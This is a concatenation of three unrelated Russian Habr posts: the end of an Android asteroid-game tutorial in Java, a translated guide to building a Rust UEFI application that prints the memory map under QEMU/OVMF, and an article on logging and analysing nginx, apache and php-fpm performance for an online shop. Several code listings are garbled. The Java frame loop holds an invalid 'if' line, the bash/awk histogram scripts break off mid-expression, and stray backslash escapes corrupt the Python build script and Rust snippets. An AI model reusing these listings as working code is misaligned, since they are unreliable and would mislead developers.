leftAsteroid = xAsteroid;//the left edge of asteroid
rightAsteroid = leftAsteroid + widthAsteroid;//set right edge of asteroid
topAsteroid = yAsteroid;
bottomAsteroid = topAsteroid + heightAsteroid;
centerAsteroid = leftAsteroid + widthAsteroid / 2;
mAsteroid.setBounds(leftAsteroid, topAsteroid, rightAsteroid, bottomAsteroid);
mAsteroid.draw(canvas);
}
public void update() {
if (yAsteroid > height) {
yAsteroid = 0;
// find by random function Asteroid & speed Asteroid
Random rnd = new Random();
xAsteroid = rnd.nextInt(width - widthAsteroid);
speedAsteroid = 5+ rnd.nextInt(10);
} else {
yAsteroid +=speedAsteroid;
}
}
}
```
*MainThread.java*
```
package com.adc2017gmail.moonbase;
import android.graphics.Canvas;
import android.view.SurfaceHolder;
public class MainThread extends Thread {
private final static int MAX_FPS = 30;// desired fps
private final static int MAX_FRAME_SKIPS = 4;// maximum number of frames to be skipped
private final static int FRAME_PERIOD = 1000 / MAX_FPS; // the frame period
// Surface holder that can access the physical surface
private SurfaceHolder surfaceHolder;
// The actual view that handles inputs
// and draws to the surface
private GameView gameView;
// flag to hold game state
private boolean running;
public void setRunning(boolean running) {
this.running = running;
}
public MainThread(SurfaceHolder surfaceHolder, GameView gameView) {
super();
this.surfaceHolder = surfaceHolder;
this.gameView = gameView;
}
@Override
public void run() {
Canvas canvas;
long beginTime;// the time when the cycle begun
long timeDiff; // the time it took for the cycle to execute
int sleepTime;// ms to sleep (<0 if we're behind)
int framesSkipped;// number of frames being skipped
sleepTime = 0;
while (running) {
canvas = null;
// try locking the canvas for exclusive pixel editing in the surface
try {
canvas = this.surfaceHolder.lockCanvas();
synchronized (surfaceHolder) {
beginTime = System.currentTimeMillis();//Returns the current time in milliseconds since January 1, 1970 00:00:00.0 UTC.
framesSkipped = 0; // resetting the frames skipped
// update game state
this.gameView.update();
// render state to the screen draws the canvas on the panel
this.gameView.render(canvas);
// calculate how long did the cycle take
timeDiff = System.currentTimeMillis() - beginTime;
// calculate sleep time
sleepTime = (int)(FRAME_PERIOD - timeDiff);
if (sleepTime > 0) {
if sleepTime > 0 //we're OK
try {
// send the thread to sleep for a short period
// very useful for battery saving
Thread.sleep(sleepTime);
} catch (InterruptedException e) {}
}
while (sleepTime < 0 && framesSkipped < MAX_FRAME_SKIPS) {
// we need to catch up
this.gameView.update(); // update without rendering
sleepTime += FRAME_PERIOD; // add frame period to check if in next frame
framesSkipped++;
}
}
} finally {
// in case of an exception the surface is not left in
// an inconsistent state
if (canvas != null) {
surfaceHolder.unlockCanvasAndPost(canvas);
}
} // end finally
}
}
}
```
*MainActivity.java*
```
package com.adc2017gmail.moonbase;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.MenuItem;
import android.view.View;
import android.widget.ImageButton;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
final ImageButton imgbtn8 = (ImageButton)findViewById(R.id.image_button8);
imgbtn8.setOnClickListener(new View.OnClickListener()
{
public void onClick(View v)
{
imgbtn8.setImageResource(R.drawable.btn2);
Intent intent8 = new Intent(MainActivity.this, SecondActivity.class);
startActivity(intent8);
}
});
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
}
```
*SecondActivity.java*
```
package com.adc2017gmail.moonbase;
import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
public class SecondActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(new GameView(this));
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_second, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
}
``` | https://habr.com/ru/post/271315/ | null | ru | null |
# Слегка ржавое EFI-приложение
После двух твитов, оставленных на прошлой неделе, про мои игры с UEFI и Rust, несколько человек попросили опубликовать заметку, объясняющую как создать UEFI-приложение, полностью написанное на Расте и продемонстрировать тестовое окружение.
Так что сегодняшняя цель — это создание UEFI-приложения на Расте, которое распечатывает карту памяти, отфильтрованную по доступности для использования (такая память называется *традиционной памятью* в описании UEFI-спецификаций):
[](https://habr.com/ru/company/ruvds/blog/575630/)
Однако прежде, чем приступить к работе, освежим некоторые понятия.
▍ Скомканное вступление
-----------------------
При включении компьютера аппаратная часть находится в неопределённом состоянии и необходимо выполнить некоторую инициализацию для того, чтобы подготовить систему к предстоящей работе. BIOS, акроним для Basic Input/Output System, появившийся в районе 1975 года и использовавшийся с тех пор, был способом проведения аппаратной инициализации во время процесса загрузки и предоставления сервисов времени выполнения для ОС и программ. Однако BIOS имеет некоторые ограничения и после 40 лет применения заменён на Unified Extensible Firmware Interface (или UEFI для краткости). UEFI нацелен на устранение технических недостатков BIOS.
UEFI — это спецификация, которая определяет программный интерфейс между ОС\UEFI-приложением и прошивкой платформы. Intel разработала изначальную Extensible Firmware Interface (EFI), работы над которой были закончены в июле 2005 года. В начале 2006 года Apple одной из первых внедрила технологию на своих Intel Macintosh. В том же самом 2005 году выход UEFI сделал устаревшим EFI 1.10 — последний выпуск EFI. UEFI форум — это индустриальный орган, который управляет UEFI-спецификациями. Интерфейс, определяемый этими спецификациями, включает таблицы данных, которые содержат информацию о платформе, сервисы времени загрузки и выполнения, которые доступны приложению\загрузчику ОС. Такая прошивка имеет ряд преимуществ перед традиционным BIOS:
* возможность использования более вместительных накопителей при помощи GUID Partition table (GPT)
* независимая от CPU архитектура
* независимые от CPU драйверы
* гибкое пре-ОС окружение, включая сетевые возможности
* модульная архитектура
* совместимость назад и вперёд
Также UEFI предоставляет более продвинутую функциональность для того, чтобы реализовать загрузчик или UEFI-приложение без необходимости глубоких знаний архитектуры.
▍ Окисление — это хорошо
------------------------
Как говорилось в начале, Раст будет использован для написания UEFI-приложения. Для тех, кто не знает, что это такое: Раст — системный язык программирования, разработку которого спонсирует Mozilla. Она описывает его как «безопасный, конкурентный, практичный язык», поддерживающий функциональную и императивно-процедурную парадигмы. Язык очень похож на Си++ в плане синтаксиса, но создатели Раста намереваются обеспечить в нём лучшую безопасность по памяти при сохранении производительности.
ЯП явился результатом персонального проекта сотрудника Mozilla Грейдона Хоара. Организация стала поддерживать проект в 2009 году, после осознания его потенциала. В 2010 году было публично объявлено о проекте; в том же самом году компилятор, изначально разработанный на OCaml, начали переписывать на Расте с использованием LLVM-backend.
Первая пре-альфа версия компилятора появилась в январе 2012 года, но уже через 3 года, 15 мая 2015 была выпущена первая стабильная версия (теперь известная как редакция 2015). Раст является проектом с открытым сообществом. Такая модель означает, что любой может вкладываться в разработку и в уточнение языка, и этот вклад может быть разным, например, улучшение документации, отправка баг-репортов, предложения RFC на добавление функциональности или изменения программного кода. Язык получил огромную обратную связь по опыту разработки Серво — современного движка для обозревателей с превосходной производительностью и возможностью встроенного применения. В наши дни Раст начинает присутствовать во всех сферах ПО, к примеру, в ПО для управления спутниками, программировании микроконтроллеров, веб-серверов, в обозревателе Firefox и т.д. Раст выигрывал первое место в номинации «наиболее любимый язык программирования» в опросе Stack Overflow Developer в 2016, 2017 и 2018 годах (*прим. переводчика — и в 2021*).
▍ Ещё два или три момента перед началом
---------------------------------------
Для того чтобы написать загрузчик, гипервизор или низкоуровневое приложение требуется использовать системный язык программирования. Есть [отличная статья](https://willcrichton.net/notes/systems-programming/) с подробным обсуждением этого понятия. Проще говоря, системный ЯП — это язык, позволяющий тонкий контроль над исполнением кода в машине и возможностью изменения любых отдельных байтов в памяти компьютера. И с Растом это возможно.
Во избежание необходимости описывать все UEFI-таблицы будет использован крейт `uefi-rs`. Этот крейт облегчает создание UEFI-приложений на Расте. Миссия `uefi-rs` в том, чтобы предоставить безопасные и производительные обёртки вокруг UEFI-интерфейсов и позволить разработчикам писать идиоматичный Раст-код.
Наконец, для тестового окружения будут использованы Питон и QEMU вкупе с OVMF. QEMU — это хорошо известный полносистемный эмулятор, позволяющий запускать код для любой машины на любой поддерживаемой архитектуре. OVMF — это основанный на EDK II проект, предоставляющий поддержку UEFI для виртуальных машин (QEMU и KVM). QEMU не содержит в поставке OVMF, так что придётся установить его отдельно на вашу машину, либо взять предсобранные образы из Сети.
Например, такие доступны для загрузки в моём [тестовом хранилище](https://github.com/gil0mendes/Initium/tree/rust).
▍ Начинаем
----------
Без дальнейших промедлений приступаем к работе! Первым делом создадим папку и инициализируем Раст проект в ней:
```
> mkdir uefi-app && cd uefi-app
> cargo init
```
Теперь добавим `uefi-rs` в качестве зависимости. Чтобы сделать это, просто добавьте следующие строки в ваш **Cargo.toml**:
```
uefi = "0.12.0"
uefi-services = "0.9.0"
```
Если сейчас запустить `cargo run`, то Карго соберёт `uefi-rs` вместе с нашим приложением.
▍ Рабочий процесс сборки\запуска
--------------------------------
Следующий шаг состоит в создании файла целевых параметров и сценария на Питоне для облегчения сборки и запуска UEFI-приложения. В основном, параметры цели описывают выходной двоичный файл, порядок байтов («endianess»), архитектуру, двоичную структуру и функциональности, которые можно использовать при компиляции. Этот файл будет использован `build-std`, функциональность Карго для производства крейта core (это основная часть стандартной библиотеки Раста, но без зависимостей, даже от системных библиотек и libc), собранного для другой платформы.
Таким образом, сперва нам необходимо «сказать» карго, чтобы он включил `build-std`, через создание файла **.cargo/config**:
```
[unstable]
build-std = ["core", "compiler_builtins", "alloc"]
```
> Замечание: чтобы это работало нужно установить ночную сборку Раста так же как и компонент `rust-src`. Это можно сделать при помощи rustup: `rustup component add rust-src --toolchain nightly`.
Функциональность `mem` из `compiler-builtins` не включается автоматически во время сборки с использованием Cargo-функциональности `build-std`. Таким образом, мы должны вручную добавить поддержку функций по работе с памятью прописав следующее в файл **Cargo.toml**:
```
rlibc = "1.0.0"
```
И затем добавим крейт в качестве зависимости, чтобы `mem*` функции были связаны:
```
extern crate rlibc;
```
Далее создадим файл **x86\_64-none-efi.json** со следующим содержимым:
```
{
"llvm-target": "x86_64-pc-windows-gnu",
"env": "gnu",
"target-family": "windows",
"target-endian": "little",
"target-pointer-width": "64",
"target-c-int-width": "32",
"os": "uefi",
"arch": "x86_64",
"data-layout": "e-m:e-i64:64-f80:128-n8:16:32:64-S128",
"linker": "rust-lld",
"linker-flavor": "lld-link",
"pre-link-args": {
"lld-link": [
"/Subsystem:EFI_Application",
"/Entry:uefi_start"
]
},
"panic-strategy": "abort",
"default-hidden-visibility": true,
"executables": true,
"position-independent-executables": true,
"exe-suffix": ".efi",
"is-like-windows": true,
"emit-debug-gdb-scripts": false
}
```
**прим. переводчика**
По правде говоря, на текущий момент уже нет необходимости в создании такого файла. Поддержку uefi влили — [PR/56769](https://github.com/rust-lang/rust/pull/56769).
Я решил всё же переводить статью в оригинальном виде.
Вообще, сейчас полезно сразу читать [uefi-rs/BUILDING.md](https://github.com/rust-osdev/uefi-rs/commits/master/BUILDING.md).
Также добавлю ещё одну хорошую, на мой взгляд, ссылку — [blog.timhutt/std-embedded-rust](http://blog.timhutt.co.uk/std-embedded-rust/index.html). Благодаря ей сформировалась команда сборки — `cargo +nightly build -Z build-std=std,panic_abort --target x86_64-unknown-uefi`.
Исполняемый UEFI-файл не что иное, как двоичный формат PE, используемый Windows, но со специальной подсистемой и без таблицы символов; поэтому целевое семейство установлено как windows.
Сейчас нужно создать **build.py**, реализующий две команды:
* `build`: эта команда собирает UEFI-приложение
* `run`: запускает собранное приложение в QEMU.
```
#!/usr/bin/env python3
import argparse
import os
import shutil
import sys
import subprocess as sp
from pathlib import Path
ARCH = "x86_64"
TARGET = ARCH + "-none-efi"
CONFIG = "debug"
QEMU = "qemu-system-" + ARCH
WORKSPACE_DIR = Path(__file__).resolve().parents[0]
BUILD_DIR = WORKSPACE_DIR / "build"
CARGO_BUILD_DIR = WORKSPACE_DIR / "target" / TARGET / CONFIG
OVMF_FW = WORKSPACE_DIR / "OVMF_CODE.fd"
OVMF_VARS = WORKSPACE_DIR / "OVMF_VARS-1024x768.fd"
def run_build(*flags):
"Run Cargo- with the given arguments"
cmd = ["cargo", "build", "--target", TARGET, \*flags]
sp.run(cmd).check\_returncode()
def build\_command():
"Builds UEFI application"
run\_build("--package", "uefi-app")
# Create build folder
boot\_dir = BUILD\_DIR / "EFI" / "BOOT"
boot\_dir.mkdir(parents=True, exist\_ok=True)
# Copy the build EFI application to the build directory
built\_file = CARGO\_BUILD\_DIR / "uefi-app.efi"
output\_file = boot\_dir / "BootX64.efi"
shutil.copy2(built\_file, output\_file)
# Write a startup script to make UEFI Shell load into
# the application automatically
startup\_file = open(BUILD\_DIR / "startup.nsh", "w")
startup\_file.write("\EFI\BOOT\BOOTX64.EFI")
startup\_file.close()
def run\_command():
"Run the application in QEMU"
qemu\_flags = [
# Disable default devices
# QEMU by default enables a ton of devices which slow down boot.
"-nodefaults",
# Use a standard VGA for graphics
"-vga", "std",
# Use a modern machine, with acceleration if possible.
"-machine", "q35,accel=kvm:tcg",
# Allocate some memory
"-m", "128M",
# Set up OVMF
"-drive", f"if=pflash,format=raw,readonly,file={OVMF\_FW}",
"-drive", f"if=pflash,format=raw,file={OVMF\_VARS}",
# Mount a local directory as a FAT partition
"-drive", f"format=raw,file=fat:rw:{BUILD\_DIR}",
# Enable serial
#
# Connect the serial port to the host. OVMF is kind enough to connect
# the UEFI stdout and stdin to that port too.
"-serial", "stdio",
# Setup monitor
"-monitor", "vc:1024x768",
]
sp.run([QEMU] + qemu\_flags).check\_returncode()
def main(args):
"Runs the user-requested actions"
# Clear any Rust flags which might affect the build.
os.environ["RUSTFLAGS"] = ""
os.environ["RUST\_TARGET\_PATH"] = str(WORKSPACE\_DIR)
usage = "%(prog)s verb [options]"
desc = "Build script for the UEFI App"
parser = argparse.ArgumentParser(usage=usage, description=desc)
subparsers = parser.add\_subparsers(dest="verb")
build\_parser = subparsers.add\_parser("build")
run\_parser = subparsers.add\_parser("run")
opts = parser.parse\_args()
if opts.verb == "build":
build\_command()
elif opts.verb == "run":
run\_command()
else:
print(f"Unknown verb '{opts.verb}'")
if \_\_name\_\_ == '\_\_main\_\_':
sys.exit(main(sys.argv))
```
> Заметка: я не нашёл, по какой причине исполняемый файл не загружается автоматически с этой версией OVMF, поэтому используется сценарий **startup.nsh** для облегчения загрузки.
▍ Само приложение
-----------------
Первым шагом нужно заставить грузиться приложение и войти в бесконечный цикл, предупреждая выход в прошивку.
В Расте ошибки могут быть доведены до паники или аварийного прекращения. Паника случается, когда что-то идёт не так, но в целом можно продолжить работу (такое обычно случается с потоками); аварийное завершение происходит, когда программа переходит в состояние, из которого невозможно восстановление. Наличие обработчика паники обязательно, он реализуется в стандартной библиотеке; но поскольку приложение не зависит от ОС, то и стд не может быть использована. Вместо этого мы используем **core** часть библиотеки, в которой обработчик отсутствует, так что мы вынуждены реализовывать его самостоятельно. К счастью, `uefi-rs` предоставляет одну реализацию оного.
Если вы подметили, то в файле целевых параметров указана передача пары аргументов `lld` (компоновщик LLVM), указывающие точку входа (`uefi_start`) и подсистему. Так, нам нужно отредактировать **main.rs**, чтобы импортировать `uefi-rs` крейт и определить функцию с именем `uefi_start`, содержащую бесконечный цикл:
```
#![no_std]
#![no_main]
#![feature(asm)]
#![feature(abi_efiapi)]
extern crate uefi;
extern crate uefi_services;
use uefi::prelude::*;
#[entry]
fn efi_main(_image_handler: uefi::Handle, system_table: SystemTable) -> Status {
loop {}
Status::SUCCESS
}
```
Первые две строки обозначают, что наш крейт не имеет функции **main** и не зависит от стд. Также точка входа помечена аттрибутом **entry**.
Наконец, после сборки и запуска приложения, QEMU отобразит что-то похожее на картину ниже:
*QEMU исполняет UEFI-приложение*
Ничего интересного, но т.к. QEMU не перешла в цикл загрузки или выскочила в EFI-оболочку, убеждаемся, что наше приложение вызвано. Следующий шаг заключается в том, чтобы напечатать версию UEFI на экран. Опять же, в `rust-rs` уже реализованы вспомогательные функции для этого, поэтому достаточно проинициализировать систему логгирования и использовать макрос **info!** для распечатки текста на экране или даже на последовательном порту.
Для доступа к макросу **info!** нужно добавить новую зависимость в **Cargo.toml**:
```
log = { version = "0.4.11", default-features = false }
```
Затем необходимо просто добавить следующий код в главную функцию, перед входом в бесконечный цикл:
```
uefi_services::init(&system_table).expect_success("Failed to initialize utils");
// reset console before doing anything else
system_table
.stdout()
.reset(false)
.expect_success("Failed to reset output buffer");
// Print out UEFI revision number
{
let rev = system_table.uefi_revision();
let (major, minor) = (rev.major(), rev.minor());
info!("UEFI {}.{}", major, minor);
}
```
После сборки и запуска приложение выведет что-то вроде **INFO: UEFI 2.70**. Эта информация зависит от версии прошивки, которую вы используете.
**прим. переводчика**
Вот так запуск выглядит на моём стареньком Самсунг NP535U4C: 
В завершение давайте напишем функцию, которая принимает ссылку на таблицу Boot Services и распечатывает регионы свободной для использования памяти. Сперва нам потребуется включить крейт **alloc**, чтобы получить доступ к структуре **Vec**; для этого нужно добавить следующие три строки в начало файла:
```
#![feature(alloc)]
// (...)
extern crate alloc;
// (...)
use crate::alloc::vec::Vec;
```
После этого определим константу с размером EFI-страницы, который равен 4KiB независимо от системы.
```
const EFI_PAGE_SIZE: u64 = 0x1000;
```
И, собственно, реализуем непосредственно функцию по обходу карты в поисках традиционной памяти и распечатке свободных диапазонов на экран:
```
fn memory_map(bt: &BootServices) {
// Get the estimated map size
let map_size = bt.memory_map_size();
// Build a buffer bigger enough to handle the memory map
let mut buffer = Vec::with_capacity(map_size);
unsafe {
buffer.set_len(map_size);
}
let (_k, desc_iter) = bt
.memory_map(&mut buffer)
.expect_success("Failed to retrieve UEFI memory map");
let descriptors = desc_iter.copied().collect::>();
assert!(!descriptors.is\_empty(), "Memory map is empty");
// Print out a list of all the usable memory we see in the memory map.
// Don't print out everything, the memory map is probably pretty big
// (e.g. OVMF under QEMU returns a map with nearly 50 entries here).
info!("efi: usable memory ranges ({} total)", descriptors.len());
descriptors
.iter()
.for\_each(|descriptor| match descriptor.ty {
MemoryType::CONVENTIONAL => {
let size = descriptor.page\_count \* EFI\_PAGE\_SIZE;
let end\_address = descriptor.phys\_start + size;
info!(
"> {:#x} - {:#x} ({} KiB)",
descriptor.phys\_start, end\_address, size
);
}
\_ => {}
})
}
// (...)
// Call this function inside main
memory\_map(&system\_table.boot\_services());
```
Конечный результат должен совпадать с выводом, изображённым на КДПВ.
И готово! было несложно, правда? Теперь вы можете продолжить реализовывать новые возможности в приложении, вероятно решившись разрабатывать загрузчик или более сложное UEFI приложение.
И ещё одна важная ремарка для отважных духом. Если вы пустились в разработку своей собственной ОС или углубились в изучение технологии, то вы должны отложить в сторону все API, предоставляемые UEFI для взаимодействия с файловой системой, сетью, доступом к PCI-устройствам и т.д., и разработать свои собственные драйвера.
Не ленитесь от использования всех этих предоставленных абстракций!
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=gshep&utm_content=_slegka_rzhavoe_efi-prilozhenie_) | https://habr.com/ru/post/575630/ | null | ru | null |
# Интернет-магазин под нагрузкой — метрики качества веб-кластера
Написан, перенесен на хостинг и запущен большой интернет-магазин. Креативные идеи — выстроились в очередь на реализацию. Однако Вас очень беспокоят вопросы обеспечения стабильности работы решения и удовлетворенность покупателей — клиенты, даже в случае пиков нагрузки, не должны дожидаться перед белым экраном загрузки страницы по 30 секунд и получать сообщение типа «К сожалению, система перегружена или возникла внутренняя ошибка. Налейте себе кофе и попробуйте обратиться еще раз».
Определим простую и эффективную стратегию достижения и поддержки высокого уровня качества обслуживания посетителей интернет-магазина — с использованием бесплатных инструментов анализа и мониторинга.
Статья будет полезна как для проектов на базе Битрикс (в т.ч. [веб-кластерных](http://www.1c-bitrix.ru/products/cms/features/webcluster.php)), так и для других решений на nginx+apache-php/php-fpm+MySQL.
##### Фиксация обращений в логах — можно и нужно
Для веб-проектов с посещаемостью в единицы миллионов хитов в сутки можно и нужно настроить логирование всех обращений клиентов как к страницам, так и ресурсам (изображения и т.п.).
Чрезвычайно важно понять, что система может сохранять информацию о каждом обращении клиента и включить эту возможность — просто (это штатное средство). Если интернет-магазин развернут на веб-кластере — несложно настроить удаленное логирование на выделенный для этих целей сервер, с использованием, например, syslog-ng.
Логирование всех запросов клиентов незначительно, на проценты, снижает производительность конфигурации — однако Вы сохраняете полную информацию и контроль над качеством обслуживания клиентов, практически все случаи ошибок и зависаний интернет-магазина фиксируются и доступны для дальнейшего анализа и корректировки процесса разработки и системного администрирования. Иначе — Вы рискуете, двигаетесь вслепую и, можно сказать, не контролируете ситуацию.
К сожалению и довольно часто при эксплуатации нередко ленятся включать эту возможность (или не знают об этом), и менеджер проекта узнает о зависании веб-решения из твиттера, от коллег или Босса :-) А найти причины уже нельзя — факты ошибок нигде не были зафиксированы и «поезд ушел».
##### Что нужно фиксировать
Прежде всего нужно модифицировать стандартный формат логов nginx, apache, php-fpm — и добавить туда описанные ниже ключевые показатели производительности. Важно фиксировать по каждому хиту следующие данные (кроме стандартных данных, таких как URL запроса, код ответа и т.п.):
###### Время выполнения запроса
Для nginx это "$request\_time". При двухуровневой конфигурации nginx+apache или nginx+php-fpm полезно зафиксировать в логе nginx также "$upstream\_response\_time".
Для apache это "%D".
Для php-fpm это "%{mili}d".
###### Пиковое использование памяти при обработке запроса
Если Вы используете php-fpm, полезно сохранить в логе "%{bytes}M".
###### Код HTTP ответа
Обычно код HTTP ответа сохраняется в логах по умолчанию. Важно сохранять эту информацию, т.к. ошибки в обслуживании клиентов как правило имеют код ответа 40х или 50х (мы разберем коды ответов подробнее далее).
###### Отдельные логи производительности и настройки логов
Иногда удобно создавать отдельные логи «производительности», сохраняющие информацию о времени отработки скрипта и пиковом использовании памяти, живущие рядом со «стандартными» логами. Мы часто используем такие опции:
`nginx:
log_format main '$remote_addr - $remote_user [$time_local] "$host" "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for" -> $upstream_response_time';
apache:
LogFormat "%t \"%r\" %>s %b child:%P time-> %D" timing
php-fpm:
access.format = "%R # %{HTTP_HOST}e # %{HTTP_USER_AGENT}e # %t # %m # %r # %Q%q # %s # %f # %{mili}d # %{kilo}M # %{user}C+%{system}C"`
##### Оффлайн анализ логов
Итак, Вы организовали процесс фиксации информации об обращении клиентов в логах (в случае веб-кластера логи централизованно собираются на отдельную машину с помощью, допустим, syslog-ng). Все ошибки и зависания страниц (даже по причине медленного канала между браузером клиента и веб-сервером) — попали в лог. Теперь нужно научиться их трактовать и инициировать устранение причин их появления.
###### Распространенные типы ошибок
В случае ошибок в PHP коде или самом ядре языка, прекомпиляторе (Segmentation Fault) или в операционной системе как правило отдается статус 500 (Internal Server Error). В этом случае, в большинстве веб-проектов, посетителю показывается страница о регламентных работах (или, если не настроить — техническое сообщение об ошибке :-) ).
Во время перегрузки apache или php-fpm в двухуровневой конфигурации: долгие запросы к БД или в коде идет обращение к внешнему сокету, или число воркеров на бэкэнде (число процессов apache/php-fpm) не соответствует реальной нагрузке — фронтэнд (nginx) зафиксирует в своих логах превышенное время отдачи страницы бекэндом или ошибки 502 Bad Gateway, 504 Gateway Timeout. В этом случае, если не используется балансировщик нагрузки, посетителю как правило показывается страница о регламентных работах. При использовании балансировщика (например upstream в nginx) — время отдачи страницы клиенту просто увеличится (что также будет зафиксировано в логах).
При превышении скриптом PHP памяти в лог попадет ошибка 500 (Internal Server Error).
Иногда, правда, нужно сознательно из приложения отдать код ошибки — в этом случае можно просто исключить эти записи из лога при обработке.
В общем теперь мы знаем, что факты отображения клиенту страницы о регламентных работах и другие ошибки и зависания — зафиксированы в логе и, что важно, стало легче определить причину ошибки.
###### Полезные отчеты по логам
Теперь можно проанализировать что происходило с обслуживанием наших покупателей за сутки. Внимание — приведенные ниже листинги скриптов адаптированы под конкретный формат лог-файлов, поэтому их скорее всего нужно будет адаптировать к Вашему проекту, что не должно вызвать сложностей.
*Гистограмма HTTP-ответов на фронтэнде и бэкэнде*
`Total hits: 265532
200 : 264654, 99.67% ***************************************************************************************************
207 : 34, 0.01%
302 : 830, 0.31%
401 : 7, 0.00%
403 : 1, 0.00%
404 : 1, 0.00%
500 : 16, 0.01%
#!/bin/bash
TOTAL=`cat /var/log/nginx.access.log | wc -l`
echo "Total hits:" $TOTAL
cat /var/log/nginx.access.log | awk '{ hits[$14]++; } \
END {for (z in hits) {printf("%6s: %8s,%6.2f% ",z,hits[z],hits[z]/total*100);{s="";a=0;while(a++
total="$TOTAL" - | sort -n`
Аналогичный крошечный bash/awk скрипт можно адаптировать для логов apache/php-fpm. Мы видим, что более 99% хитов были успешны (код 200), однако было 16 ошибок, с которыми нужно разбираться разработчикам (в логах PHP) и искать способы их устранения — ведь это 16 страниц о регламентных работах :-). Наша цель — 0 кодов ответов 50x.
*Гистограмма времени выполнения страницы на фронтэнде и бэкэнде*
`Total: 386664
0 ms: 276203, 71.43% ***********************************************************************
100 ms: 81466, 21.07% *********************
200 ms: 13155, 3.40% ***
300 ms: 4282, 1.11% *
400 ms: 2183, 0.56%
500 ms: 1373, 0.36%
600 ms: 968, 0.25%
700 ms: 721, 0.19%
800 ms: 586, 0.15%
900 ms: 470, 0.12%
1000 ms: 398, 0.10%
#!/bin/bash
TOTAL=`cat /var/log/nginx.access.log | wc -l`
echo "Total:" $TOTAL
cat /var/log/nginx.access.log | awk -F'->' '{ $2=$2*1000; zone = int($2/100)*100; hits[zone]++; } \
END {for (z in hits) {printf("%8s ms: %8s,%6.2f% ",z,hits[z],hits[z]/total*100);{s="";a=0;while(a++
total="$TOTAL" - | sort -n`
Видим, что подавляющее число запросов клиентов было обслужено со временем менее 500 ms. Однако с 398 хитами более секунды нужно основательно разбираться. Визуально удобно смотреть на столбики из звездочек (звездочка ставится если значение >1%) и учитывать только их.
Почему страницы или сервисы могут отрабатывать единицы секунд:
— Не используется кэширование результатов обращений в базу данных, либо само обращение в базу данных не оптимизировано.
— Выполняется тяжелый аналитический запрос, например число заказов такого-то товара за такой-то период. В этом случае ошибки нет, такой запрос лучше исключить из анализа (например они могут идти с управляющего домена admin.myproject.ru).
— В коде скрипта идет обращение к внешнему ресурсу, который завис (RSS лента, внешняя авторизация и т.п.).
Общее правило тут — обращаться с подобным «рискованным» внешним ресурсам либо в отдельном потоке (cron), либо асинхронно из браузера клиента по ajax — кэшируя результаты ответа. Т.е. даже если внешний ресурс недоступен — веб-страница должна отдаться посетителю быстро, менее чем за секунду (и аккуратно догрузить части страницы).
*Гистограмма потребления скриптами памяти на бэкэнде — php-fpm*
`Total hits: 265562
0 KB: 25, 0.01%
4000 KB: 16, 0.01%
6000 KB: 67094, 25.26% *************************
7000 KB: 123746, 46.60% **********************************************
8000 KB: 61102, 23.01% ***********************
9000 KB: 3453, 1.30% *
10000 KB: 1263, 0.48%
11000 KB: 890, 0.34%
12000 KB: 826, 0.31%
13000 KB: 917, 0.35%
14000 KB: 1129, 0.43%
15000 KB: 1125, 0.42%
16000 KB: 936, 0.35%
17000 KB: 798, 0.30%
18000 KB: 631, 0.24%
#!/bin/bash
TOTAL=`cat /var/log/php.access.log | wc -l`
echo "Total hits:" $TOTAL
cat /var/log/php.access.log | awk -F# '{ zone = int($11/1000)*1000; hits[zone]++; } \
END { for (z in hits) {printf("%8s KB: %8s,%6.2f% ",z,hits[z],hits[z]/total*100);{s="";a=0;while(a++
total="$TOTAL" - | sort -n`
Видно, что большинство скриптов веб-решения потребляют 6-8 МБ памяти, что немного. Нередко однако, при разработке «в сжатые сроки» получаются скрипты, которые потребляют 500МБ или единицы гигабайт памяти — что вызывает зависание сервера, своппинг и общую дестабилизацию системы. Клиенты могут при этом несколько минут «ловить» страницы о регламентных работах. Важно анализировать данную гистограмму и ставить ТЗ разработчикам на оптимизацию объема потребляемой страницами памяти в пределах, допустим 64 МБ. Таким образом, постепенно, система будет потреблять стабильно предсказуемый объем памяти и Вы будете уверены, что она внезапно не впадет «в спячку» на несколько десятков минут.
*Максимальные значения*
Полезно также получить статистику по:
— топу самых медленных страниц в сутки
— топу самых прожорливых по памяти страниц в сутки
`#!/bin/bash
echo "Max today slow times in php access logs: "
cat /var/log/php.access.log | awk -F'#' '{ print $10" "$2" "$1" "$6" "$7" "$8}' | sort -nr`
*Более подробно о зависаниях PHP-скриптов*
В php-fpm есть замечательная возможность логировать скрипты, выполняющиеся более N секунд и делать бэктрейс в лог:
`Mar 11 03:42:39 ec2-* [11-Mar-2012 03:42:38] [pool www] pid 26452
Mar 11 03:42:39 ec2-* script_filename = /var/www/html/index.php
Mar 11 03:42:39 ec2-* [0x0000000001971ea0] mysql_query() /var/www/html/bitrix/modules/main/classes/mysql/database.php:173
Mar 11 03:42:39 ec2-* [0x00000000019718a0] Query() /var/www/html/bitrix/modules/tasks/classes/general/task.php:1145
Mar 11 03:42:39 ec2-* [0x000000000196d078] __GetAllowedGroups() /var/www/html/bitrix/modules/tasks/classes/general/task.php:797
Mar 11 03:42:39 ec2-* [0x000000000196cb78] GetFilter() /var/www/html/bitrix/modules/tasks/classes/general/task.php:1442
Mar 11 03:42:39 ec2-* [0x0000000001968348] GetRootSubquery() /var/www/html/bitrix/modules/tasks/classes/general/task.php:730
Mar 11 03:42:39 ec2-* [0x0000000001967a08] GetFilter() /var/www/html/bitrix/modules/tasks/classes/general/task.php:1473
